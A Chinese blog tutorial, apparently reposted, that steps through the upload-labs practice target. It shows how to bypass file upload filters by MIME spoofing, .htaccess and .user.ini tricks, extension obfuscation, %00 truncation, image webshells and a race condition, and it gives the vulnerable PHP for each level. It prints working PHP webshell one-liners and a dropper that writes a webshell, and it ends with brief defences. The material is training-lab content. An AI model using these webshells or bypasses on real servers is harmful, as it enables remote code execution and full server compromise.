devbox
IT小白
这个屌丝很懒，什么也没留下！
关注作者
热门标签
热门文章
当前位置:   article > 正文

Web安全：文件上传漏洞测试（防止 黑客利用此漏洞.）_文件上传漏洞怎么测试

作者：IT小白 | 2024-07-03 07:41:00

赞

踩

文件上传漏洞怎么测试

Web安全：文件上传漏洞测试.

现在大多的网站和Web应用系统都会有上传功能（比如：文档，图片，头像，视频上传等.），而程序员在开发文件上传功能时，没有对代码做严格校验上传文件的后缀和文件类型，此时攻击者就可以上传一个与网站脚本语言相对应的恶意代码动态脚本，例如(php，jsp、aspx，asp文件后缀)到服务器上，并将恶意文件传递给网站脚本语言去执行，然后就可以在服务器上执行恶意代码，进行数据库执行、服务器文件管理，服务器命令执行等恶意操作.

目录：

Web安全：文件上传漏洞测试.

文件上传漏洞危害：

编写一句话程序：

文件上传漏洞 实战测试：

（1）前端 对不合法图片进行检查！

（2）后端 对数据的 文件类型 进行检查！

（3）后端 对数据的 扩展名（后缀） 进行检查!（使用 双写绕过）

（4）后端 对大多数的数据 扩展名（后缀） 进行检查！（使用 .htaccess 文件绕过）

（5）后端 上传目录存在 php 文件（利用 .user.ini 文件绕过）

（6）利用 大小写绕过.

（7）利用 php后面加一个空格 绕过.

（8）利用 php后面加一个点 . 绕过.

（9）利用 末尾文件流 绕过.

（10）在 php 后缀添加 （.空格.）进行绕过.

（11）把 php 后缀改为中 pphphp 进行绕过.

（12）在文件存储路径中 利用 %00 截断 进行绕过.（GET %00截断）

（13）在文件存储路径中 利用 %00 截断 进行绕过.（POST %00 截断）

（14）利用 图片马 进行绕过.（存在 文件包含漏洞 才行.）

（15）利用 不断上传生成新的文件 进行绕过.

（16）涉及到 数组和文件类型 的进行绕过.

文件上传漏洞的防御：

文件上传漏洞危害：

  1. （1）上传漏洞与SQL注入或 XSS相比，其风险更大，如果 Web应用程序存在上传漏洞，攻击者上传的
  2. 文件是Web脚本语言，服务器的Web容器解释并执行了用户上传的脚本，导致代码执行.
  3.  
  4. （2）但是攻击者要是上传的文件是病毒、木马文件，就可以诱骗用户或者管理员下载执行。如果上传
  5. 的文件是钓鱼图片或为包含了脚本的图片，在某些版本的浏览器中会被作为脚本执行，被用于钓鱼和欺
  6. 诈。甚至攻击者可以直接上传一个webshell到服务器上 完全控制系统或致使系统瘫痪.

编写一句话程序：

<?php phpinfo();?>                //测试
  1. <?php                                //一句话木马程序
  2.     @eval($_POST['bgxg']);
  3. ?>

文件上传漏洞 实战测试：

（1）前端 对不合法图片进行检查！

我们把 一句话程序(木马) 的后缀改为一个合法的( jpg文件 )，在上传时候的打开 Burp 进行抓包.

使用连接工具进行：连接(菜刀)

  1. 程序代码：
  2.  
  3. function checkFile() {
  4.     var file = document.getElementsByName('upload_file')[0].value;
  5.     if (file == null || file == "") {
  6.         alert("请选择要上传的文件!");
  7.         return false;
  8.     }
  9.     //定义允许上传的文件类型
  10.     var allow_ext = ".jpg|.png|.gif";
  11.     //提取上传文件的类型
  12.     var ext_name = file.substring(file.lastIndexOf("."));
  13.     //判断上传文件类型是否允许上传
  14.     if (allow_ext.indexOf(ext_name + "|") == -1) {
  15.         var errMsg = "该文件不允许上传，请上传" + allow_ext + "类型的文件,当前文件类型为：" + ext_name;
  16.         alert(errMsg);
  17.         return false;
  18.     }
  19. }

（2）后端 对数据的 文件类型 进行检查！

  1. 在上传时候的打开 Burp 进行抓包.
  2.  
  3. 通过burp抓包，修改文件类型为 image/gif、image/jpeg、image/png，image/jpeg

  1. 程序代码：
  2.  
  3. $is_upload = false;
  4. $msg = null;
  5. if (isset($_POST['submit'])) {
  6.     if (file_exists(UPLOAD_PATH)) {
  7.         if (($_FILES['upload_file']['type'] == 'image/jpeg') || ($_FILES['upload_file']['type'] == 'image/png') || ($_FILES['upload_file']['type'] == 'image/gif')) {
  8.             $temp_file = $_FILES['upload_file']['tmp_name'];
  9.             $img_path = UPLOAD_PATH . '/' . $_FILES['upload_file']['name']            
  10.             if (move_uploaded_file($temp_file, $img_path)) {
  11.                 $is_upload = true;
  12.             } else {
  13.                 $msg = '上传出错！';
  14.             }
  15.         } else {
  16.             $msg = '文件类型不正确，请重新上传！';
  17.         }
  18.     } else {
  19.         $msg = UPLOAD_PATH.'文件夹不存在,请手工创建！';
  20.     }
  21. }

（3）后端 对数据的 扩展名（后缀） 进行检查!（使用 双写绕过）

  1. 在上传时候的打开 Burp 进行抓包.
  2.  
  3. 在文件的后缀加 ::$D::$DATAATA            // 双写绕过.

  1. 程序代码：
  2.  
  3. $is_upload = false;
  4. $msg = null;
  5. if (isset($_POST['submit'])) {
  6.     if (file_exists(UPLOAD_PATH)) {
  7.         $deny_ext = array('.asp','.aspx','.php','.jsp');
  8.         $file_name = trim($_FILES['upload_file']['name']);
  9.         $file_name = deldot($file_name);//删除文件名末尾的点
  10.         $file_ext = strrchr($file_name, '.');
  11.         $file_ext = strtolower($file_ext); //转换为小写
  12.         $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
  13.         $file_ext = trim($file_ext); //收尾去空
  14.  
  15.         if(!in_array($file_ext, $deny_ext)) {
  16.             $temp_file = $_FILES['upload_file']['tmp_name'];
  17.             $img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;            
  18.             if (move_uploaded_file($temp_file,$img_path)) {
  19.                  $is_upload = true;
  20.             } else {
  21.                 $msg = '上传出错！';
  22.             }
  23.         } else {
  24.             $msg = '不允许上传.asp,.aspx,.php,.jsp后缀文件！';
  25.         }
  26.     } else {
  27.         $msg = UPLOAD_PATH . '文件夹不存在,请手工创建！';
  28.     }
  29. }

（4）后端 对大多数的数据 扩展名（后缀） 进行检查！（使用 .htaccess 文件绕过）

  1. 在源码中对扩展名进行了黑名单限制，所限制的文件类型不全，可上传.htaccess 文件可利用该文件解析
  2. 规则增加新的可执行的扩展名.bgxg 绕过，文件内容如下:
  3.  
  4. AddType application/x-httpd-php .bgxg

  1. 然后把这个文件上传 .htaccess
  2.  
  3. 上传后，我们再上传我们的 .bgxg 后缀文件就行.

  1. 程序代码：
  2.  
  3. $is_upload = false;
  4. $msg = null;
  5. if (isset($_POST['submit'])) {
  6.     if (file_exists(UPLOAD_PATH)) {
  7.         $deny_ext = array(".php",".php5",".php4",".php3",".php2",".php1",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".pHp1",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".ini");
  8.         $file_name = trim($_FILES['upload_file']['name']);
  9.         $file_name = deldot($file_name);//删除文件名末尾的点
  10.         $file_ext = strrchr($file_name, '.');
  11.         $file_ext = strtolower($file_ext); //转换为小写
  12.         $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
  13.         $file_ext = trim($file_ext); //收尾去空
  14.  
  15.         if (!in_array($file_ext, $deny_ext)) {
  16.             $temp_file = $_FILES['upload_file']['tmp_name'];
  17.             $img_path = UPLOAD_PATH.'/'.$file_name;
  18.             if (move_uploaded_file($temp_file, $img_path)) {
  19.                 $is_upload = true;
  20.             } else {
  21.                 $msg = '上传出错！';
  22.             }
  23.         } else {
  24.             $msg = '此文件不允许上传!';
  25.         }
  26.     } else {
  27.         $msg = UPLOAD_PATH . '文件夹不存在,请手工创建！';
  28.     }
  29. }

（5）后端 上传目录存在 php 文件（利用 .user.ini 文件绕过）

  1. .user.ini 文件中的内容：
  2.  
  3. auto_append_file=文件名字.png
  1. 在 图片中添加 的内容：
  2.  
  3. <?php                             
  4.     @eval($_POST['bgxg']);
  5. ?>

  1. 上传 .user.ini 文件，然后再把 txt文件 上传.
  2.  
  3. 然后再进行访问这个图片(看看有没有被执行里面的代码)，再使用工具连接.
  1. 程序代码：
  2.  
  3. $is_upload = false;
  4. $msg = null;
  5. if (isset($_POST['submit'])) {
  6.     if (file_exists(UPLOAD_PATH)) {
  7.         $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
  8.         $file_name = trim($_FILES['upload_file']['name']);
  9.         $file_name = deldot($file_name);//删除文件名末尾的点
  10.         $file_ext = strrchr($file_name, '.');
  11.         $file_ext = strtolower($file_ext); //转换为小写
  12.         $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
  13.         $file_ext = trim($file_ext); //首尾去空
  14.         
  15.         if (!in_array($file_ext, $deny_ext)) {
  16.             $temp_file = $_FILES['upload_file']['tmp_name'];
  17.             $img_path = UPLOAD_PATH.'/'.$file_name;
  18.             if (move_uploaded_file($temp_file, $img_path)) {
  19.                 $is_upload = true;
  20.             } else {
  21.                 $msg = '上传出错！';
  22.             }
  23.         } else {
  24.             $msg = '此文件类型不允许上传！';
  25.         }
  26.     } else {
  27.         $msg = UPLOAD_PATH . '文件夹不存在,请手工创建！';
  28.     }
  29. }

（6）利用 大小写绕过.

上传 PHp后缀 的文件.

  1. 程序代码：
  2.  
  3. $is_upload = false;
  4. $msg = null;
  5. if (isset($_POST['submit'])) {
  6.     if (file_exists(UPLOAD_PATH)) {
  7.         $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini");
  8.         $file_name = trim($_FILES['upload_file']['name']);
  9.         $file_name = deldot($file_name);//删除文件名末尾的点
  10.         $file_ext = strrchr($file_name, '.');
  11.         $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
  12.         $file_ext = trim($file_ext); //首尾去空
  13.  
  14.         if (!in_array($file_ext, $deny_ext)) {
  15.             $temp_file = $_FILES['upload_file']['tmp_name'];
  16.             $img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;
  17.             if (move_uploaded_file($temp_file, $img_path)) {
  18.                 $is_upload = true;
  19.             } else {
  20.                 $msg = '上传出错！';
  21.             }
  22.         } else {
  23.             $msg = '此文件类型不允许上传！';
  24.         }
  25.     } else {
  26.         $msg = UPLOAD_PATH . '文件夹不存在,请手工创建！';
  27.     }
  28. }

（7）利用 php后面加一个空格 绕过.

在上传时候的打开 Burp 进行抓包.

  1. 程序代码：
  2.  
  3. $is_upload = false;
  4. $msg = null;
  5. if (isset($_POST['submit'])) {
  6.     if (file_exists(UPLOAD_PATH)) {
  7.         $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini");
  8.         $file_name = $_FILES['upload_file']['name'];
  9.         $file_name = deldot($file_name);//删除文件名末尾的点
  10.         $file_ext = strrchr($file_name, '.');
  11.         $file_ext = strtolower($file_ext); //转换为小写
  12.         $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
  13.         
  14.         if (!in_array($file_ext, $deny_ext)) {
  15.             $temp_file = $_FILES['upload_file']['tmp_name'];
  16.             $img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;
  17.             if (move_uploaded_file($temp_file,$img_path)) {
  18.                 $is_upload = true;
  19.             } else {
  20.                 $msg = '上传出错！';
  21.             }
  22.         } else {
  23.             $msg = '此文件不允许上传';
  24.         }
  25.     } else {
  26.         $msg = UPLOAD_PATH . '文件夹不存在,请手工创建！';
  27.     }
  28. }

（8）利用 php后面加一个点 . 绕过.

在上传时候的打开 Burp 进行抓包.

  1. 程序代码：
  2.  
  3. $is_upload = false;
  4. $msg = null;
  5. if (isset($_POST['submit'])) {
  6.     if (file_exists(UPLOAD_PATH)) {
  7.         $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini");
  8.         $file_name = trim($_FILES['upload_file']['name']);
  9.         $file_ext = strrchr($file_name, '.');
  10.         $file_ext = strtolower($file_ext); //转换为小写
  11.         $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
  12.         $file_ext = trim($file_ext); //首尾去空
  13.         
  14.         if (!in_array($file_ext, $deny_ext)) {
  15.             $temp_file = $_FILES['upload_file']['tmp_name'];
  16.             $img_path = UPLOAD_PATH.'/'.$file_name;
  17.             if (move_uploaded_file($temp_file, $img_path)) {
  18.                 $is_upload = true;
  19.             } else {
  20.                 $msg = '上传出错！';
  21.             }
  22.         } else {
  23.             $msg = '此文件类型不允许上传！';
  24.         }
  25.     } else {
  26.         $msg = UPLOAD_PATH . '文件夹不存在,请手工创建！';
  27.     }
  28. }

（9）利用 末尾文件流 绕过.

  1. 在上传时候的打开 Burp 进行抓包.
  2.  
  3. 在 php 后缀后面添加 ::$DATA

  1. 程序代码：
  2.  
  3. $is_upload = false;
  4. $msg = null;
  5. if (isset($_POST['submit'])) {
  6.     if (file_exists(UPLOAD_PATH)) {
  7.         $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini");
  8.         $file_name = trim($_FILES['upload_file']['name']);
  9.         $file_name = deldot($file_name);//删除文件名末尾的点
  10.         $file_ext = strrchr($file_name, '.');
  11.         $file_ext = strtolower($file_ext); //转换为小写
  12.         $file_ext = trim($file_ext); //首尾去空
  13.         
  14.         if (!in_array($file_ext, $deny_ext)) {
  15.             $temp_file = $_FILES['upload_file']['tmp_name'];
  16.             $img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;
  17.             if (move_uploaded_file($temp_file, $img_path)) {
  18.                 $is_upload = true;
  19.             } else {
  20.                 $msg = '上传出错！';
  21.             }
  22.         } else {
  23.             $msg = '此文件类型不允许上传！';
  24.         }
  25.     } else {
  26.         $msg = UPLOAD_PATH . '文件夹不存在,请手工创建！';
  27.     }
  28. }

（10）在 php 后缀添加 （.空格.）进行绕过.

  1. 在上传时候的打开 Burp 进行抓包.
  2.  
  3. 把 .php 后缀后面添加. .

  1. 程序代码：
  2.  
  3. $is_upload = false;
  4. $msg = null;
  5. if (isset($_POST['submit'])) {
  6.     if (file_exists(UPLOAD_PATH)) {
  7.         $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini");
  8.         $file_name = trim($_FILES['upload_file']['name']);
  9.         $file_name = deldot($file_name);//删除文件名末尾的点
  10.         $file_ext = strrchr($file_name, '.');
  11.         $file_ext = strtolower($file_ext); //转换为小写
  12.         $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
  13.         $file_ext = trim($file_ext); //首尾去空
  14.         
  15.         if (!in_array($file_ext, $deny_ext)) {
  16.             $temp_file = $_FILES['upload_file']['tmp_name'];
  17.             $img_path = UPLOAD_PATH.'/'.$file_name;
  18.             if (move_uploaded_file($temp_file, $img_path)) {
  19.                 $is_upload = true;
  20.             } else {
  21.                 $msg = '上传出错！';
  22.             }
  23.         } else {
  24.             $msg = '此文件类型不允许上传！';
  25.         }
  26.     } else {
  27.         $msg = UPLOAD_PATH . '文件夹不存在,请手工创建！';
  28.     }
  29. }

（11）把 php 后缀改为中 pphphp 进行绕过.

  1. 在上传时候的打开 Burp 进行抓包.
  2.  
  3. 把 .php 后缀改为中 .pphphp 进行绕过.

  1. 程序代码：
  2.  
  3. $is_upload = false;
  4. $msg = null;
  5. if (isset($_POST['submit'])) {
  6.     if (file_exists(UPLOAD_PATH)) {
  7.         $deny_ext = array("php","php5","php4","php3","php2","html","htm","phtml","pht","jsp","jspa","jspx","jsw","jsv","jspf","jtml","asp","aspx","asa","asax","ascx","ashx","asmx","cer","swf","htaccess","ini");
  8.  
  9.         $file_name = trim($_FILES['upload_file']['name']);
  10.         $file_name = str_ireplace($deny_ext,"", $file_name);
  11.         $temp_file = $_FILES['upload_file']['tmp_name'];
  12.         $img_path = UPLOAD_PATH.'/'.$file_name;        
  13.         if (move_uploaded_file($temp_file, $img_path)) {
  14.             $is_upload = true;
  15.         } else {
  16.             $msg = '上传出错！';
  17.         }
  18.     } else {
  19.         $msg = UPLOAD_PATH . '文件夹不存在,请手工创建！';
  20.     }
  21. }

（12）在文件存储路径中 利用 %00 截断 进行绕过.（GET %00截断）

采用 %00 截断，需要的php版本<5.3.4,还要将【magic_quotes_gpc】参数关闭

  1. 在上传时候的打开 Burp 进行抓包.
  2.  
  3. 在文件的路径中添加 一个自己想要的文件名.(bgxg.php),在后面再添加 %00
  4. //这个是用来保存我们上传文件的内容.
  5.  
  6. 再把我们上传的文件名改为一个合法的 .jpg 文件

然后再去访问 bgxg.php 文件，利用工具连接就行.
  1. 程序代码：
  2.  
  3. $is_upload = false;
  4. $msg = null;
  5. if(isset($_POST['submit'])){
  6.     $ext_arr = array('jpg','png','gif');
  7.     $file_ext = substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".")+1);
  8.     if(in_array($file_ext,$ext_arr)){
  9.         $temp_file = $_FILES['upload_file']['tmp_name'];
  10.         $img_path = $_GET['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;
  11.  
  12.         if(move_uploaded_file($temp_file,$img_path)){
  13.             $is_upload = true;
  14.         } else {
  15.             $msg = '上传出错！';
  16.         }
  17.     } else{
  18.         $msg = "只允许上传.jpg|.png|.gif类型文件！";
  19.     }
  20. }

（13）在文件存储路径中 利用 %00 截断 进行绕过.（POST %00 截断）

采用 %00 截断，需要的php版本<5.3.4,还要将【magic_quotes_gpc】参数关闭

  1. 在上传时候的打开 Burp 进行抓包.
  2.  
  3. 在文件的路径中添加 一个自己想要的文件名.(bgxg.php),在后面再添加 %00 
  4. %00 再改为十六进制的
  5. //这个是用来保存我们上传文件的内容.
  6.  
  7. 再把我们上传的文件名改为一个合法的 .jpg 文件

然后再去访问 bgxg.php 文件，利用工具连接就行.
  1. 程序代码：
  2.  
  3. $is_upload = false;
  4. $msg = null;
  5. if(isset($_POST['submit'])){
  6.     $ext_arr = array('jpg','png','gif');
  7.     $file_ext = substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".")+1);
  8.     if(in_array($file_ext,$ext_arr)){
  9.         $temp_file = $_FILES['upload_file']['tmp_name'];
  10.         $img_path = $_POST['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;
  11.  
  12.         if(move_uploaded_file($temp_file,$img_path)){
  13.             $is_upload = true;
  14.         } else {
  15.             $msg = "上传失败";
  16.         }
  17.     } else {
  18.         $msg = "只允许上传.jpg|.png|.gif类型文件！";
  19.     }
  20. }

（14）利用 图片马 进行绕过.（存在 文件包含漏洞 才行.）

原理：上传一个图片木马，然后用文件包含漏洞去解析这个图片，从而让里面的代码执行.
制作一个图片木马.（010Editor 工具）

  1. 然后进行上传，再找到存在文件包含漏洞的地方，去利用这个漏洞去解析图片中的木马，再使用连接工具
  2. 进行连接.

  1. function getReailFileType($filename){
  2.     $file = fopen($filename, "rb");
  3.     $bin = fread($file, 2); //只读2字节
  4.     fclose($file);
  5.     $strInfo = @unpack("C2chars", $bin);    
  6.     $typeCode = intval($strInfo['chars1'].$strInfo['chars2']);    
  7.     $fileType = '';    
  8.     switch($typeCode){      
  9.         case 255216:            
  10.             $fileType = 'jpg';
  11.             break;
  12.         case 13780:            
  13.             $fileType = 'png';
  14.             break;        
  15.         case 7173:            
  16.             $fileType = 'gif';
  17.             break;
  18.         default:            
  19.             $fileType = 'unknown';
  20.         }    
  21.         return $fileType;
  22. }
  23.  
  24. $is_upload = false;
  25. $msg = null;
  26. if(isset($_POST['submit'])){
  27.     $temp_file = $_FILES['upload_file']['tmp_name'];
  28.     $file_type = getReailFileType($temp_file);
  29.  
  30.     if($file_type == 'unknown'){
  31.         $msg = "文件未知，上传失败！";
  32.     }else{
  33.         $img_path = UPLOAD_PATH."/".rand(10, 99).date("YmdHis").".".$file_type;
  34.         if(move_uploaded_file($temp_file,$img_path)){
  35.             $is_upload = true;
  36.         } else {
  37.             $msg = "上传出错！";
  38.         }
  39.     }
  40. }

（15）利用 不断上传生成新的文件 进行绕过.

  1. 原理：把文件上传之后进行检查，发现是不合法的文件则删除，所以我们可以上传一个文件木马，然后
  2. 不停的访问，让他在那个上传路径中生成出一个新的文件.
  1. 上传访问这个文件，进行生成新的文件(bgxg.php),文件内容：
  2.  
  3. <?php fputs(fopen('bgxg.php','w'),'<?php @eval($_POST["bgxg"]); ?>'); ?>

  1. 在 1.php 上传时候的打开 Burp 进行抓包，然后发给测试器，然后放包.
  2.  
  3. 在 测试器 中 添加 ?_t=$1$

  1. 我们随便上传一个文件，查看它的存储目录在哪，然后进行访问我们上传的 1.php 抓包，然后发给
  2. 测试器，然后放包.
  3.  
  4. 在 测试器 中 添加 ?_t=$1$

进行测试：

然后我们查看有没有生成的文件成功：(去访问生成的新文件 bgxg.php)

  1. 程序代码：
  2.  
  3. $is_upload = false;
  4. $msg = null;
  5.  
  6. if(isset($_POST['submit'])){
  7.     $ext_arr = array('jpg','png','gif');
  8.     $file_name = $_FILES['upload_file']['name'];
  9.     $temp_file = $_FILES['upload_file']['tmp_name'];
  10.     $file_ext = substr($file_name,strrpos($file_name,".")+1);
  11.     $upload_file = UPLOAD_PATH . '/' . $file_name;
  12.  
  13.     if(move_uploaded_file($temp_file, $upload_file)){
  14.         if(in_array($file_ext,$ext_arr)){
  15.              $img_path = UPLOAD_PATH . '/'. rand(10, 99).date("YmdHis").".".$file_ext;
  16.              rename($upload_file, $img_path);
  17.              $is_upload = true;
  18.         }else{
  19.             $msg = "只允许上传.jpg|.png|.gif类型文件！";
  20.             unlink($upload_file);
  21.         }
  22.     }else{
  23.         $msg = '上传出错！';
  24.     }
  25. }

（16）涉及到 数组和文件类型 的进行绕过.

  1. 在上传时候的打开 Burp 进行抓包.
  2.  
  3. （1）通过burp抓包，修改文件类型为image/jpeg
  4.  
  5. （2）添加下面的操作

文件上传漏洞的防御：

  1. （1）对文件的后缀 进行检测.
  2.  
  3. （2）在前端布置web防火墙，检测上传的是否有eval($_POST[])这样的标记.
  4.  
  5. （3）文件上传的目录设置为不可执行（只要web容器无法解析该目录下面的文件，即使攻击者上传了脚本
  6. 文件，服务器本身也不会受到影响.）
  7.  
  8. （4）使用随机数改写文件名和文件路径（文件上传如果要执行代码，则需要用户能够访问到这个文件）
  9.  
  10. （5）提高开发人员的安全意识，尤其是采用PHP语言开发系统（在程序开发阶段应充分考虑程序的安全性）
  11.  
  12. （6）应用系统上线后，要增加运维人员的安全意思，积极使用多个安全检测工具对应用系统进行安全扫描，
  13. 及时发现潜在漏洞并修复.

       

      

       

参考学习视频：Upload Labs 文件上传靶机通关 19.第二十一关【渗透测试学习历程】_哔哩哔哩_bilibili

声明：本文内容由网友自发贡献，不代表【wpsshop博客】立场，版权归原作者所有，本站不承担相应法律责任。如您发现有侵权的内容，请联系我们。转载请注明出处：https://www.wpsshop.cn/w/IT小白/article/detail/782332
推荐阅读
相关标签

Copyright © 2003-2013 www.wpsshop.cn 版权所有，并保留所有权利。

  

闽ICP备14008679号